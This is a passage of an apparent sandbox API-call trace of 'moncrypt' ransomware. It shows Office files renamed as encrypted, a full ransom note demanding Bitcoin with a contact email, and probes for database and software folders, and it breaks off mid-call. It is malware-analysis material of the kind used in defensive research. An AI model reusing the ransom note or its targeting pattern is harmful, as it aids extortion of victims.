(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.711] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.711] CloseHandle (hObject=0x190) returned 1 [0048.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.711] GlobalLock (hMem=0x440004) returned 0x555860 [0048.711] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.711] GlobalUnlock (hMem=0x440004) returned 0 [0048.711] GlobalLock (hMem=0x440004) returned 0x555860 [0048.711] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.711] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.712] GlobalUnlock (hMem=0x440004) returned 0 [0048.712] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.712] GlobalUnlock (hMem=0x44000c) returned 0 [0048.712] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4c8840, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e4c8840, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e4c8840, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.712] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.712] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.712] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.712] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.712] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.712] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.712] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.712] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.712] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.712] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.712] CloseHandle (hObject=0x190) returned 1 [0048.713] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.713] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.713] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.713] GlobalUnlock (hMem=0x44000c) returned 0 [0048.713] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.713] GlobalLock (hMem=0x440004) returned 0x557870 [0048.713] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.713] GlobalUnlock (hMem=0x44000c) returned 0 [0048.713] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.713] GlobalUnlock (hMem=0x440004) returned 0 [0048.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e4ee9a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e4ee9a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.713] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.713] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.713] GlobalLock (hMem=0x440004) returned 0x555860 [0048.713] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.713] GlobalUnlock (hMem=0x440004) returned 0 [0048.713] GlobalLock (hMem=0x440004) returned 0x555860 [0048.713] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.713] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.713] GlobalUnlock (hMem=0x440004) returned 0 [0048.713] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.713] GlobalUnlock (hMem=0x44000c) returned 0 [0048.714] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.714] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e4ee9a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e4ee9a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.714] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.714] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.714] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.714] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.714] GlobalUnlock (hMem=0x44000c) returned 0 [0048.714] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.714] GlobalLock (hMem=0x440004) returned 0x557870 [0048.714] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.714] GlobalUnlock (hMem=0x44000c) returned 0 [0048.714] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.714] GlobalUnlock (hMem=0x440004) returned 0 [0048.714] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.714] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4c8840, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e4c8840, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e4c8840, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.714] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.714] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.714] GlobalLock (hMem=0x440004) returned 0x555860 [0048.714] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.714] GlobalUnlock (hMem=0x440004) returned 0 [0048.714] GlobalLock (hMem=0x440004) returned 0x555860 [0048.714] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.714] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.714] GlobalUnlock (hMem=0x440004) returned 0 [0048.714] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.714] GlobalUnlock (hMem=0x44000c) returned 0 [0048.714] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.714] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML.moncrypt", cAlternateFileName="PROOFI~1.MON")) returned 1 [0048.714] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.714] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.715] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.715] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.715] GlobalUnlock (hMem=0x44000c) returned 0 [0048.715] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.715] GlobalLock (hMem=0x440004) returned 0x557870 [0048.715] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.715] GlobalUnlock (hMem=0x44000c) returned 0 [0048.715] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.715] GlobalUnlock (hMem=0x440004) returned 0 [0048.715] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.715] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.715] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.715] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.715] GlobalLock (hMem=0x440004) returned 0x555860 [0048.715] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.715] GlobalUnlock (hMem=0x440004) returned 0 [0048.715] GlobalLock (hMem=0x440004) returned 0x555860 [0048.715] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.715] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.715] GlobalUnlock (hMem=0x440004) returned 0 [0048.715] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.715] GlobalUnlock (hMem=0x44000c) returned 0 [0048.715] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.715] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.715] GetLastError () returned 0x12 [0048.715] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.716] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0048.716] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.716] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.716] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.716] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.716] GlobalUnlock (hMem=0x44000c) returned 0 [0048.716] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.716] GlobalLock (hMem=0x440004) returned 0x557870 [0048.716] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.716] GlobalUnlock (hMem=0x44000c) returned 0 [0048.716] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.716] GlobalUnlock (hMem=0x440004) returned 0 [0048.716] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.716] GlobalLock (hMem=0x440004) returned 0x555860 [0048.716] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.716] GlobalUnlock (hMem=0x440004) returned 0 [0048.716] GlobalLock (hMem=0x440004) returned 0x555860 [0048.716] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.716] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.716] GlobalUnlock (hMem=0x440004) returned 0 [0048.716] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.716] GlobalUnlock (hMem=0x44000c) returned 0 [0048.717] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.717] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR", len=0x58 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR") returned 1 [0048.717] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.717] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.717] GlobalUnlock (hMem=0x44000c) returned 0 [0048.717] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.717] GlobalLock (hMem=0x440004) returned 0x557870 [0048.717] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.717] GlobalUnlock (hMem=0x44000c) returned 0 [0048.717] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.717] GlobalUnlock (hMem=0x440004) returned 0 [0048.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@卲U卆U企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.725] GetLastError () returned 0x3 [0048.725] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18䁼Q\x181")) returned 0xffffffff [0048.726] GetLastError () returned 0x2 [0048.726] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.726] GetLastError () returned 0x2 [0048.726] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0048.727] GetLastError () returned 0x2 [0048.727] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18翌R\x18j")) returned 0xffffffff [0048.727] GetLastError () returned 0x2 [0048.727] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0048.728] GetLastError () returned 0x2 [0048.728] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RĀ") returned 6 [0048.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, 